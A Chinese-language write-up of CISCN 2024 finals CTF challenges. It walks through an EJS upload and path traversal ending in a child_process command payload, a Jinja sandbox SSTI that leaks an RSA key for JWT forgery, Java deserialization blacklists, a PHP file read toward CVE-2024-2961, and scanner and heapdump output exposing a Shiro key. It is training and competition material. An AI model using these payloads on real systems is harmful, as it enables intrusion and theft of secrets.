// 如果文件后缀为 .ejs,则拒绝上传该文件
return cb(new Error('Upload of .ejs files is not allowed'), false);
}
cb(null, true); // 允许上传其他类型的文件
}
});
admin={
"username":"ADMIN",
"password":"123456"
}
app=express()
app.use(express.static(path.join(__dirname, 'uploads')));
app.use(express.json());
app.use(bodyParse.urlencoded({extended: false}));
app.set('view engine', 'ejs');
app.use(session({
secret: 'Can_U_hack_me?',
resave: false,
saveUninitialized: true,
cookie: { maxAge: 3600 * 1000 }
}));
app.get('/',(req,res)=>{
res.redirect('/login')
})
app.get('/login', (req, res) => {
res.render('login');
});
app.post('/login', (req, res) => {
const { username, password } = req.body;
if (username === 'admin'){
return res.status(400).send('you can not be admin');
}
const new_username = username.toUpperCase()
if (new_username === admin.username && password === admin.password) {
req.session.user = "ADMIN";
res.redirect('/rename');
} else {
// res.redirect('/login');
}
});
app.get('/upload', (req, res) => {
res.render('upload');
});
app.post('/upload', upload.single('fileInput'), (req, res) => {
if (!req.file) {
return res.status(400).send('No file uploaded');
}
const fileExt = path.extname(req.file.originalname).toLowerCase();
if (fileExt === '.ejs') {
return res.status(400).send('Upload of .ejs files is not allowed');
}
res.send('File uploaded successfully: ' + req.file.originalname);
});
app.get('/render',(req, res) => {
const { filename } = req.query;
if (!filename) {
return res.status(400).send('Filename parameter is required');
}
const filePath = path.join(__dirname, 'uploads', filename);
if (filePath.endsWith('.ejs')) {
return res.status(400).send('Invalid file type.');
}
res.render(filePath);
});
app.get('/rename',IfLogin, (req, res) => {
if (req.session.user !== 'ADMIN') {
return res.status(403).send('Access forbidden');
}
const { oldPath , newPath } = req.query;
if (!oldPath || !newPath) {
return res.status(400).send('Missing oldPath or newPath');
}
if (newPath && /app\.js|\\|\.ejs/i.test(newPath)) {
return res.status(400).send('Invalid file name');
}
if (oldPath && /\.\.|flag/i.test(oldPath)) {
return res.status(400).send('Invalid file name');
}
const new_file = newPath.toLowerCase();
const oldFilePath = path.join(__dirname, 'uploads', oldPath);
const newFilePath = path.join(__dirname, 'uploads', new_file);
if (newFilePath.endsWith('.ejs')){
return res.status(400).send('Invalid file type.');
}
if (!oldPath) {
return res.status(400).send('oldPath parameter is required');
}
if (!fs.existsSync(oldFilePath)) {
return res.status(404).send('Old file not found');
}
if (fs.existsSync(newFilePath)) {
return res.status(409).send('New file path already exists');
}
createDirectoriesForFilePath(newFilePath)
fs.rename(oldFilePath, newFilePath, (err) => {
if (err) {
console.error('Error renaming file:', err);
return res.status(500).send('Error renaming file');
}
res.send('File renamed successfully');
});
});
app.listen('3000', () => {
console.log(`http://localhost:3000`)
})
package.json
{
"name": "express-file-upload-app",
"version": "1.0.0",
"description": "ezjs",
"main": "app.js",
"scripts": {
"start": "node app.js"
},
"dependencies": {
"express": "^4.17.2",
"ejs": "^3.1.6",
"express-session": "^1.17.2",
"body-parser": "^1.19.0",
"multer": "^1.4.4"
}
}
ejs v3.1.6,但是看了下render
没有参数可控
接下来考虑express引擎解析的漏洞,参考:https://xz.aliyun.com/t/13512
上传index.js
然后目录穿越移动到node_modules下
接下来再上传一个.ttt后缀的文件
接下来/render路由先渲染1.ttt,再渲染1.ejs即可带出回显
然后换一个后缀故技重施即可
非预期
来自https://1llustrious.github.io/2024/07/25/CISCN%E4%B9%8B%E6%97%85/#%E5%9B%BD%E5%86%B3
.ejs 绕过文件上传
render 传参 .ejs/…/ 绕过 render 检验
<%= global.process.mainModule.require('child_process').execSync('cat /flag')%>
fix
加一下中间件和重命名的路径名称黑名单即可,应该只需要过滤上传js即可,感觉是这么抢血的
// 配置 multer 上传中间件
const upload = multer({
storage: storage, // 使用自定义存储选项
fileFilter: (req, file, cb) => {
const fileExt = path.extname(file.originalname).toLowerCase();
if (fileExt === '.ejs') {
// 如果文件后缀为 .ejs,则拒绝上传该文件
return cb(new Error('Upload of .ejs files is not allowed'), false);
}
if (fileExt === '.js') {
// 如果文件后缀为 .js,则拒绝上传该文件
return cb(new Error('Upload of .js files is not allowed'), false);
}
cb(null, true); // 允许上传其他类型的文件
}
});
/*...*/
if (newPath && /app\.js|\\|\.ejs|node_modules/i.test(newPath)) {
return res.status(400).send('Invalid file name');
}
if (oldPath && /\.\.|flag|node_modules/i.test(oldPath)) {
return res.status(400).send('Invalid file name');
}
ShareCard(break复现)
SSTI + 沙盒逃逸
思路参考:nepnep战队的知识分享会 https://www.bilibili.com/video/BV1gDv1eFEyN/
from flask import Flask, request, url_for, redirect, current_app
from jinja2.sandbox import SandboxedEnvironment
from Crypto.PublicKey import RSA
from pydantic import BaseModel
from io import BytesIO
import qrcode
import base64
import json
import jwt
import os
class SaferSandboxedEnvironment(SandboxedEnvironment):
def is_safe_attribute(self, obj, attr: str, value) -> bool:
return True
def is_safe_callable(self, obj) -> bool:
return False
class Info(BaseModel):
name: str
avatar: str
signature: str
def parse_avatar(self):
self.avatar = base64.b64encode(open('avatars/'+self.avatar,'rb').read()).decode()
def safer_render_template(template_name, **kwargs):
env = SaferSandboxedEnvironment(loader=current_app.jinja_env.loader)
return env.from_string(open('templates/'+template_name).read()).render(**kwargs)
app = Flask(__name__)
rsakey = RSA.generate(1024)
@app.route("/createCard", methods=["GET", "POST"])
def create_card():
if request.method == "GET":
return safer_render_template("create.html")
if request.form.get('style')!=None:
open('templates/style.css','w').write(request.form.get('style'))
info=Info(**request.form)
if info.avatar not in os.listdir('avatars'):
raise FileNotFoundError
token = jwt.encode(dict(info), rsakey.exportKey(), algorithm="RS256")
share_url = request.url_root + url_for('show_card', token=token)
qr_img = BytesIO()
qrcode.make(share_url).save(qr_img,'png')
qr_img.seek(0)
share_img = base64.b64encode(qr_img.getvalue()).decode()
return safer_render_template("created.html", share_url=share_url, share_img=share_img)
@app.route("/showCard", methods=["GET"])
def show_card():
token = request.args.get("token")
data = jwt.decode(token, rsakey.publickey().exportKey(), algorithms=jwt.algorithms.get_default_algorithms())
info = Info(**data)
info.parse_avatar()
return safer_render_template("show.html", info=info)
@app.route("/", methods=["GET"])
def index():
return redirect(url_for('create_card'))
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8888, debug=True)
本地要调试的时候发现给的dist-packages会报错,实际有限制py版本
先在linux下起一个venv环境,注意要是python3.8的:
python3 -m venv test
source test/bin/activate
#pip3 install dist-packages.tar.gz
# 上面这个用不了,缺少setup.py
tar -zxvf dist-packages.tar.gz -C dist-packages
cp -r dist-packages/* test/lib/python3.8/site-packages/
cd src
python app.py
审计代码
首先是 /createCard 路由
@app.route("/createCard", methods=["GET", "POST"])
def create_card():
if request.method == "GET":
return safer_render_template("create.html")
if request.form.get('style')!=None:
open('templates/style.css','w').write(request.form.get('style'))
info=Info(**request.form)
if info.avatar not in os.listdir('avatars'):
raise FileNotFoundError
token = jwt.encode(dict(info), rsakey.exportKey(), algorithm="RS256")
share_url = request.url_root + url_for('show_card', token=token)
qr_img = BytesIO()
qrcode.make(share_url).save(qr_img,'png')
qr_img.seek(0)
share_img = base64.b64encode(qr_img.getvalue()).decode()
return safer_render_template("created.html", share_url=share_url, share_img=share_img)
注意到这里可以写入文件:
if request.form.get('style')!=None:
open('templates/style.css','w').write(request.form.get('style'))
找一下这个 style.css 文件被导入的地方,在三个 html 里面都有
以模板的形式包含文件来导入,然后会用safer_render_template
进行渲染
我们尝试传入一下 style 参数打ssti看看
确实存在ssti,但是不能直接payload一把梭,因为这里用的是自定义的safer_render_template
def safer_render_template(template_name, **kwargs):
env = SaferSandboxedEnvironment(loader=current_app.jinja_env.loader)
return env.from_string(open('templates/'+template_name).read()).render(**kwargs)
可以看到开了个沙盒
class SaferSandboxedEnvironment(SandboxedEnvironment):
def is_safe_attribute(self, obj, attr: str, value) -> bool:
return True
def is_safe_callable(self, obj) -> bool:
return False
这里设置成能够访问属性,但是不能调用,给沙盒拦了
怎么办呢?继续审计代码
class Info(BaseModel):
name: str
avatar: str
signature: str
def parse_avatar(self):
self.avatar = base64.b64encode(open('avatars/'+self.avatar,'rb').read()).decode()
明显这里存在一个文件读取,看一下parse_avatar
调用的位置:
@app.route("/showCard", methods=["GET"])
def show_card():
token = request.args.get("token")
data = jwt.decode(token, rsakey.publickey().exportKey(), algorithms=jwt.algorithms.get_default_algorithms())
info = Info(**data)
info.parse_avatar()
return safer_render_template("show.html", info=info)
在 /showCard 路由下
我们正常生成一个二维码之后点击二维码就可以跳转到 /showcard 下,同时后面会跟一串token
一眼jwt,解码一下看看
相关的生成代码:
rsakey = RSA.generate(1024)
info=Info(**request.form)
if info.avatar not in os.listdir('avatars'):
raise FileNotFoundError
token = jwt.encode(dict(info), rsakey.exportKey(), algorithm="RS256")
share_url = request.url_root + url_for('show_card', token=token)
由于if info.avatar not in os.listdir('avatars')
的存在,导致我们不能直接在 avatar 参数上进行目录穿越
那么考虑 jwt 伪造 avatar 的值,但是这里jwt的key是rsa生成的,我们需要想办法得到 rsakey
这时候就又想到前面的 ssti 了,虽然不能直接调用,但是可以访问属性,我们可以利用这一点获取rsakey
现在想办法在沙盒内拿到一个全局属性,注意到return safer_render_template("created.html", share_url=share_url, share_img=share_img)
,意味着我们可以用share_url
或者share_img
来获取属性,同理下面的info
也可以
这里的话要取 info 的属性,因为 info 是调用Info
类得到的,Info类下有parse_avatar
这个全局方法,然后需要在 /showCard 路由下查看style,因为这里才有info,而 /createCard 则会报错但没关系
那么读rsakey
{{info.__class__.parse_avatar.__globals__.rsakey.__dict__}}
{'_n': Integer(126123614477015775448789877206017292386336663012480330606083697181136984617708780170725665068837288536687956308850816616924015665300736823691410985286499563938666378049277495278535134451022151639249605836868202071595881433292992822004089702149441937221323083043604617381139486807424885868287782232845765278943),
'_e': Integer(65537),
'_d': Integer(16356021780675909418180038243647725223789238124159945219053440687588434506704715239803430541832066088977385914352550321608209242708561000115252482779955744104485540020656221986885376506975459291207812710017083944289037938520247378083893059236195153243903078926446378766613488506330804090368443881290180527489),
'_p': Integer(9850363198422246262285117823658498388221798522562304025833696072510450569943633244157099881440406495235906124442860453293788140178008982726677547045673409),
'_q': Integer(12803955746242662857848752418436052334358986979076848017812570866767671055374254584876363536051804158817416040437466027033560595225841364508826493617684127),
'_u': Integer(10145018723854556278558667216207587332906644078393923017778188994804203848464400278734625183772210928560743734943678326043651170472880674685079284970854903),
'_dp': Integer(999961340297895911973127986950882551487550934138074807877558935721989527165341592892216389386499601947060186549862682084373292897207589027275977241785025),
'_dq': Integer(5244118286473985022664696467883188378455894052098520751546836553485478835899655790885322032358858770327861839227039124427954186139921478037534838971662989),
'_invq': None}
接下来我们要做的是生成一个rsa私钥,使用工具:https://github.com/ius/rsatool
python3 rsatool.py -f PEM -o private.pem -n 126123614477015775448789877206017292386336663012480330606083697181136984617708780170725665068837288536687956308850816616924015665300736823691410985286499563938666378049277495278535134451022151639249605836868202071595881433292992822004089702149441937221323083043604617381139486807424885868287782232845765278943 -d 16356021780675909418180038243647725223789238124159945219053440687588434506704715239803430541832066088977385914352550321608209242708561000115252482779955744104485540020656221986885376506975459291207812710017083944289037938520247378083893059236195153243903078926446378766613488506330804090368443881290180527489
得到私钥,于是伪造jwt
带回token,得到base64编码后flag
fix
本题由@Laffey修复
加盐
@app.route("/createCard", methods=["GET", "POST"])
def create_card():
if request.method == "GET":
return safer_render_template("create.html")
if request.form.get('style')!=None:
open('templates/style.css','w').write(request.form.get('style'))
info=Info(**{'name':request.form['name'],'avatar':request.form['avatar'],'signature':request.form['signature'],'salt':str(os.urandom(100))})
#
if '{' in info.name+info.avatar+info.signature or '}' in info.name+info.avatar+info.signature:
raise Exception
#
if info.avatar not in os.listdir('avatars'):
raise FileNotFoundError
token = jwt.encode(dict(info), rsakey.exportKey(), algorithm="RS256")
share_url = request.url_root + url_for('show_card', token=token)
qr_img = BytesIO()
qrcode.make(share_url).save(qr_img,'png')
qr_img.seek(0)
share_img = base64.b64encode(qr_img.getvalue()).decode()
return safer_render_template("created.html", share_url=share_url, share_img=share_img)
貌似这个算非预期(?
看别的师傅是写ssti waf
SolonMaster
就一个控制器DemoController
package com.example.demo;
import com.example.demo.User;
import java.io.BufferedReader;
import java.io.ByteArrayInputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.Base64;
import java.util.Map;
import javax.management.BadAttributeValueExpException;
import org.json.JSONObject;
import org.noear.solon.annotation.Controller;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.annotation.Post;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.ModelAndView;
@Controller
public class DemoController {
@Mapping(value="/")
public ModelAndView index() throws Exception {
ModelAndView model = new ModelAndView("freemarker.ftl");
model.put("msg", (Object)"/api");
return model;
}
/*
* WARNING - Removed try catching itself - possible behaviour change.
*/
@Mapping(value="/log")
public String log() throws Exception {
String filePath = "./logs/solon.log";
BufferedReader reader = null;
StringBuilder stringBuilder = new StringBuilder();
try {
String line;
reader = new BufferedReader(new FileReader(filePath));
while ((line = reader.readLine()) != null) {
stringBuilder.append(line).append(System.lineSeparator());
}
}
catch (IOException e) {
e.printStackTrace();
}
finally {
try {
if (reader != null) {
reader.close();
}
}
catch (IOException e) {
e.printStackTrace();
}
}
return stringBuilder.toString();
}
@Mapping(value="/api")
@Post
public String api(Map map, Context ctx) throws Exception {
JSONObject jsonObject = new JSONObject(ctx.body());
if (map.size() != jsonObject.length()) {
User user = (User)DemoController.deserialize((String)map.get("data"));
return user.getName();
}
return "success";
}
static Object deserialize(String data) throws Exception {
byte[] decode = Base64.getDecoder().decode(data);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decode)){
boolean check = false;
protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class<?> targetc = super.resolveClass(desc);
if (!this.check && !User.class.isAssignableFrom(targetc)) {
throw new IllegalArgumentException("HackerClass:" + targetc);
}
if (BadAttributeValueExpException.class.isAssignableFrom(targetc)) {
throw new IllegalArgumentException("HackerClass:" + targetc);
}
this.check = true;
return targetc;
}
};
return ois.readObject();
}
}
一眼丁真漏洞点在反序列化上,还提供了resolveClass
过滤,看了下依赖里面有个fastjson,不知道是不是打那个,反正我刚好没学这个(
fix(Failed)
一点小问题:反编译的时候还反编译出了一个DemoController$1的子类,但是IDEA识别不到,不知道怎么回事
尝试继续重写resolveClass
package com.example.demo;
import java.io.*;
import java.util.*;
import javax.management.BadAttributeValueExpException;
import org.json.JSONObject;
import org.noear.solon.annotation.Controller;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.annotation.Post;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.ModelAndView;
@Controller
public class DemoController {
@Mapping(value="/")
public ModelAndView index() throws Exception {
ModelAndView model = new ModelAndView("freemarker.ftl");
model.put("msg", (Object)"/api");
return model;
}
/*
* WARNING - Removed try catching itself - possible behaviour change.
*/
@Mapping(value="/log")
public String log() throws Exception {
String filePath = "./logs/solon.log";
BufferedReader reader = null;
StringBuilder stringBuilder = new StringBuilder();
try {
String line;
reader = new BufferedReader(new FileReader(filePath));
while ((line = reader.readLine()) != null) {
stringBuilder.append(line).append(System.lineSeparator());
}
}
catch (IOException e) {
e.printStackTrace();
}
finally {
try {
if (reader != null) {
reader.close();
}
}
catch (IOException e) {
e.printStackTrace();
}
}
return stringBuilder.toString();
}
@Mapping(value="/api")
@Post
public String api(Map map, Context ctx) throws Exception {
JSONObject jsonObject = new JSONObject(ctx.body());
if (map.size() != jsonObject.length()) {
User user = (User)DemoController.deserialize((String)map.get("data"));
return user.getName();
}
return "success";
}
static Object deserialize(String data) throws Exception {
byte[] decode = Base64.getDecoder().decode(data);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decode)){
boolean check = false;
private ArrayList Blacklist=new ArrayList();
public void ObjectInputStream(InputStream in) throws IOException {
this.Blacklist.add(Hashtable.class.getName());
this.Blacklist.add(HashSet.class.getName());
this.Blacklist.add(TreeMap.class.getName());
this.Blacklist.add(BadAttributeValueExpException.class.getName());
}
protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class<?> targetc = super.resolveClass(desc);
if (!this.check && !User.class.isAssignableFrom(targetc)) {
throw new IllegalArgumentException("HackerClass:" + targetc);
}
if (BadAttributeValueExpException.class.isAssignableFrom(targetc)) {
throw new IllegalArgumentException("HackerClass:" + targetc);
}
if(!desc.getName().equals("commons.collections")){
throw new InvalidClassException("Unauthorized",desc.getName());
}
if(!desc.getName().equals("com.alibaba.fastjson.JSON")){
throw new InvalidClassException("Unauthorized",desc.getName());
}
if (this.Blacklist.contains(desc.getName())) {
throw new InvalidClassException("dont do this");
}
this.check = true;
return targetc;
}
};
return ois.readObject();
}
}
来自光辉师傅のfix,通防?:
protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if(desc.getName().contains("asp")||desc.getName().contains("javax.management")||desc.getName().contains("AbstractTranslet")||desc.getName().contains("Fastjson")||desc.getName().contains("jmx")||desc.getName().contains("HashMap")||desc.getName().contains("java.lang")||desc.getName().contains("com.alibaba.fastjson.JSONArray")||desc.getName().contains("HashMap")||desc.getName().contains("com.alibaba.fastjson")||desc.getName().contains("javax.swing")||desc.getName().contains("java")){
throw new IllegalArgumentException("HackerClass:" + desc);
}
Class targetc = super.resolveClass(desc);
if(targetc.getName().contains("asp")||targetc.getName().contains("javax.management")||targetc.getName().contains("AbstractTranslet")||targetc.getName().contains("Fastjson")||targetc.getName().contains("jmx")||targetc.getName().contains("HashMap")||targetc.getName().contains("java.lang")||targetc.getName().contains("com.alibaba.fastjson.JSONArray")||targetc.getName().contains("HashMap")||targetc.getName().contains("com.alibaba.fastjson")||targetc.getName().contains("javax.management")||targetc.getName().contains("javax.swing")||javax.swing.event.SwingPropertyChangeSupport.class.isAssignableFrom(targetc)||desc.getName().contains("java")){
throw new IllegalArgumentException("HackerClass:" + targetc);
}
if (BadAttributeValueExpException.class.isAssignableFrom(targetc)|| java.util.HashMap.class.isAssignableFrom(targetc)|| JSONArray.class.isAssignableFrom(targetc)|| AbstractAction.class.isAssignableFrom(targetc)|| Map.class.isAssignableFrom(targetc)|| XString.class.isAssignableFrom(targetc)|| StyledEditorKit.AlignmentAction.class.isAssignableFrom(targetc)||AbstractAction.class.isAssignableFrom(targetc)||StyledEditorKit.BoldAction.class.isAssignableFrom(targetc)||StyledEditorKit.StyledTextAction.class.isAssignableFrom(targetc)||StyledEditorKit.UnderlineAction.class.isAssignableFrom(targetc)) {
throw new IllegalArgumentException("HackerClass:" + targetc);
}
if (!this.check && !User.class.isAssignableFrom(targetc)) {
throw new IllegalArgumentException("HackerClass:" + targetc);
} else if (BadAttributeValueExpException.class.isAssignableFrom(targetc)|| java.util.HashMap.class.isAssignableFrom(targetc)|| JSONArray.class.isAssignableFrom(targetc)|| AbstractAction.class.isAssignableFrom(targetc)|| Map.class.isAssignableFrom(targetc)|| XString.class.isAssignableFrom(targetc)|| StyledEditorKit.AlignmentAction.class.isAssignableFrom(targetc)||AbstractAction.class.isAssignableFrom(targetc)||StyledEditorKit.BoldAction.class.isAssignableFrom(targetc)||StyledEditorKit.StyledTextAction.class.isAssignableFrom(targetc)||StyledEditorKit.UnderlineAction.class.isAssignableFrom(targetc)) {
throw new IllegalArgumentException("HackerClass:" + targetc);
} else {
this.check = true;
return targetc;
}
}
};
Fobee(Unsolved)
没看
Pwn-PHP(复现)
CVE-2024-2961?
fix貌似把iconv的so文件扬了就行
起docker
docker load < 2024_ciscn_final_php.tar
docker run -tid --name final_php -p 9998:9999 -e FLAG=flag{test_flag} 2024_ciscn_final_php
看一下data.php
<?php
function base64_decode_data($data) {
return base64_decode($data);
}
// AES加密和解密函数
function aes_encrypt($data, $key) {
$key = hash('sha256', $key, true);
$iv = openssl_random_pseudo_bytes(16);
$encrypted = openssl_encrypt($data, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
$encrypted = $iv . $encrypted;
return base64_encode($encrypted);
}
function is_blacklisted($path) {
$blacklist = ['/root', '/home', '/media', '/mnt', '/lib64', '/lib']; // 添加其他黑名单目录
foreach ($blacklist as $blacklisted_dir) {
if (strpos(realpath($path), $blacklisted_dir) === 0) {
return true;
}
}
return false;
}
// 获取Base64编码的文件路径并进行Base64解码
$encoded_file = $_POST['file'];
$file = base64_decode_data($encoded_file);
if (is_blacklisted($file)) {
die('Access to this directory is not allowed.');
}
// 获取文件内容
$data = file_get_contents($file);
// 加密文件内容
$key = 'Welcome_to_CISCN_2024_Final'; // Actual key
$encrypted_data = aes_encrypt($data, $key);
echo "This is your encrypted file : $encrypted_data";
?>
文件输出的内容加密了一层aes
读取/etc/passwd,整一个decrypt函数
$data = "BVKJrBujS7bUUE76j0JHe6AQ0rMHAsdTQPUmoHa6Ty9aS7J6FUMpWbmn/vNcOYBk9SdXenOSTE7XgsjuifgtFsZFbf+59Fw0bNZ5CtynJEjGc2Mr/rQqXxw7zaKRbp77iLWLTAVrAEyFed20ayOHvw6mf59iphrfYfkLVtJ18H+73WJcbzB8/gAxbCYPLxUv6cLUhbGW3kuTTjeJabnOUwy64vEsck0mmYVbyh/aXZrQIVZmnSaxIjm5TS1f6EAQU5KaLkXSanIP4k+7VIMQlkhRn0xxcU4VK2HQYxDsZGrr8jDSGl8CSmUWQxtQtJhheG5Xn30Xu6NxLHb/yBsCdLV3deZBL6HkZO9BWaEDFrMljC9Tnf41WP3/EHr/ljRuoQWat0S1U4QP2bkIWsI3o5B0TfCxr1MZBczZQro2uDtUSxvmrijoOB8PahfzsohIqY2PUnkpIHAMFa/cw0uwQePv9zKVGmoGUhlIjjSelwjQVE6E4WV/QGKL4pL1ruWeS78cm1Cf0Hc/WLzpQXOSMkyPp3I7vFqWS1IeLXr0jVod6C7VGtlif0e3wyZwnpAYujl0t3m8ZYu7ms0jfW2LYYkpGPV6OshWrO9OOJAp1UGfsC0wvp6YdCz99l3nQ+iwgQcDo5xQdoGO/LXq8qs8a6FtgRa7F+sbihk5EaAGq8QQzd8MRTpTeciwcxKUdDSo+2n1uQYhE7MukOMrJLlQnvandAxj+ucMJLMh8UDbTgkZ9pky6BzQGgCMXJApvcPccmrpKvNUKuw6ZO93XY93j7aBYPk/jUIUbjPO+PsYCnqRA66viAZ21dlGCQFpHxmYHohja47FxBLU9dfm394+zHvlXIpaJXhdw9KlNlTCn5RnXpHnRm+zynEVflQNFgOKE9MSWx76Y6/11dNu12KYB4GzaR7kd9v/p0MgiYss1MNQOsfvCPIDvm8wEhECy+ej4iECuI5lyqd3icCxq4QxGQtkOY243vfEv3LV4PW4602uO/1pi9BB7TQsLkl1iBQVprmO6aarK6bifywhd2CpDjXZ1YPuuk5G6NsXx+XpbE1R0LkCDZ6HIxDB4CC6bEosOvT9RhsOcw0zd/euo07hBRTYI+TiXui0PeSdchu9KLNvY2twBhpGA+kz7haa8mnXVRgvrIBL2YNIu8lP1x0v/iu2U4bcMubq2DxJArTKgjFfA4HgGy4azbHVm/n7vfYOqAIBaCnnjSlUZh4YBlFhJOFQgChuMHJcUQG+j9H/jy2GFQDZI3imUz2aRB6guzThVQ/1LoYFTSqVaS+6iIKGw9hxyNDMTfhK5vg3T9uq2EmoT6+y3ePETY9YxFV1eWVcO999naFCArEvqZk7t5qyUZHOyDqjVeUMEh73i3mBJubzZuZ7gN8YPwKRei9u97ldqPUBid2uYoLVMOmG4B13pn6QgrvqGXwLmgqUtjVTiy5ctQ6WsK91oSq0gYLqHm2lrTpRTuYYKUDQuAgZSOEaBNmd3uGmjArtUURLqTo2FMsEPaidU4IlPhxINyNI00yJ54HmL7KTVt+Lv+7I/wReUZzHtOiIodlZkiFJI48IQ74="
$key = 'Welcome_to_CISCN_2024_Final';
function aes_decrypt($data, $key) {
$key = hash('sha256', $key, true);
$data = base64_decode($data);
$iv = substr($data, 0, 16);
$encrypted = substr($data, 16);
return openssl_decrypt($encrypted, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
}
$decrypted_data = aes_decrypt($data, $key);
可以解密出 /etc/passwd 的内容,但是 /flag 不行,因为docker里只有root有读权限
但是也够用了,读 /proc/self/maps
然后读 /usr/lib/x86_64-linux-gnu/libc.so.6
接下来打cve-2024-2961即可
但是实际打的时候发现堆那里貌似做了点手脚,导致exp不能一把梭,需要pwn✌支援(
渗透
我不会渗透也没打过云境,内网代理还是前一天现学的,但是根本没建立起一个内网代理的思路,代理还是等巨魔从酒店拿拓展坞回来才开张的(
传fscan到vps扫一下
root@vps:~# ./fscan -h 192.168.36.88/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
start infoscan
(icmp) Target 192.168.36.88 is alive
(icmp) Target 192.168.36.253 is alive
[*] Icmp alive hosts len is: 2
192.168.36.88:22 open
[*] alive ports len is: 1
然后扫erp
>fscan.exe -h 8.130.44.201
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
start infoscan
8.130.44.201:8080 open
8.130.44.201:22 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://8.130.44.201:8080 code:302 len:0 title:None 跳转url: http://8.130.44.201:8080/login;jsessionid=65B247F806C408534985A1D9591BE5BE
[*] WebTitle http://8.130.44.201:8080/login;jsessionid=65B247F806C408534985A1D9591BE5BE code:200 len:1383 title:Master ERP login Form
[+] PocScan http://8.130.44.201:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://8.130.44.201:8080 poc-yaml-springboot-env-unauth spring2
ERP
[*] WebTitle http://8.130.44.201:8080 code:302 len:0 title:None 跳转url: http://8.130.44.201:8080/login;jsessionid=65B247F806C408534985A1D9591BE5BE
[*] WebTitle http://8.130.44.201:8080/login;jsessionid=65B247F806C408534985A1D9591BE5BE code:200 len:1383 title:Master ERP login Form
[+] PocScan http://8.130.44.201:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://8.130.44.201:8080 poc-yaml-springboot-env-unauth spring2
存在敏感信息泄露,访问/actuator/env
可以读到配置信息
/actuator/heapdump
可以导出堆内存信息
$ java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
Loading heap dump heapdump from cache failed.
java.io.IOException: HPROF time mismatch. Cached 1698502789924 from heap dump 1721521747178
at org.graalvm.visualvm.lib.jfluid.heap.HprofHeap.<init>(HprofHeap.java:385)
at org.graalvm.visualvm.lib.jfluid.heap.HeapFactory.loadHeap(HeapFactory.java:96)
at org.graalvm.visualvm.lib.jfluid.heap.HeapFactory.createHeap(HeapFactory.java:79)
at org.graalvm.visualvm.lib.jfluid.heap.HeapFactory.createHeap(HeapFactory.java:55)
at org.graalvm.visualvm.lib.jfluid.heap.GraalvmHeapHolder.<init>(GraalvmHeapHolder.java:18)
at cn.wanghw.Main.call(Main.java:66)
at cn.wanghw.Main.main(Main.java:29)
===========================================
SpringDataSourceProperties
-------------
not found!
===========================================
WeblogicDataSourceConnectionPoolConfig
-------------
not found!
===========================================
MongoClient
-------------
not found!
===========================================
AliDruidDataSourceWrapper
-------------
not found!
===========================================
HikariDataSource
-------------
not found!
===========================================
RedisStandaloneConfiguration
-------------
not found!
===========================================
JedisClient
-------------
not found!
===========================================
CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = 0f+dthGML0M572/nBElv8g==, algName = AES
===========================================
OriginTrackedMapPropertySource
-------------
management.endpoints.web.exposure.include = *
spring.thymeleaf.encoding = UTF-8
management.endpoint.health.show-details = always
spring.thymeleaf.cache = true
spring.thymeleaf.content-type = text/html
server.port = 8080
spring.thymeleaf.check-template = true
management.endpoints.jmx.exposure.include = *
===========================================
MutablePropertySources
-------------
awt.toolkit = sun.awt.X11.XToolkit
sun.boot.class.path = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/resources.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/rt.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jsse.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jce.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/charsets.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jfr.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/classes
java.protocol.handler.pkgs = org.springframework.boot.loader
sun.management.compiler = HotSpot 64-Bit Tiered Compilers
sun.cpu.isalist =
sun.jnu.encoding = UTF-8
java.runtime.version = 1.8.0_412-8u412-ga-1~20.04.1-b08
java.class.path = /opt/erp/ERPProject-0.0.1-SNAPSHOT.jar
path.separator = :
java.vm.vendor = Private Build
os.version = 5.4.0-187-generic
java.endorsed.dirs = /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/endorsed
java.runtime.name = OpenJDK Runtime Environment
file.encoding = UTF-8
catalina.useNaming = false
spring.beaninfo.ignore = true
java.vm.specification.version = 1.8
os.name = Linux
java.vm.name = OpenJDK 64-Bit Server VM
local.server.port = null
user.country = US
java.vendor.url.bug = http://bugreport.sun.com/bugreport/
sun.java.command = /opt/erp/ERPProject-0.0.1-SNAPSHOT.jar
java.io.tmpdir = /tmp
catalina.home = /tmp/tomcat.8080.4070673021461777528
java.version = 1.8.0_412
user.home = /root
user.language = en
PID = 589
java.awt.printerjob = sun.print.PSPrinterJob
CONSOLE_LOG_CHARSET = UTF-8
file.separator = /
catalina.base = /tmp/tomcat.8080.4070673021461777528
java.vm.info = mixed mode
java.specification.name = Java Platform API Specification
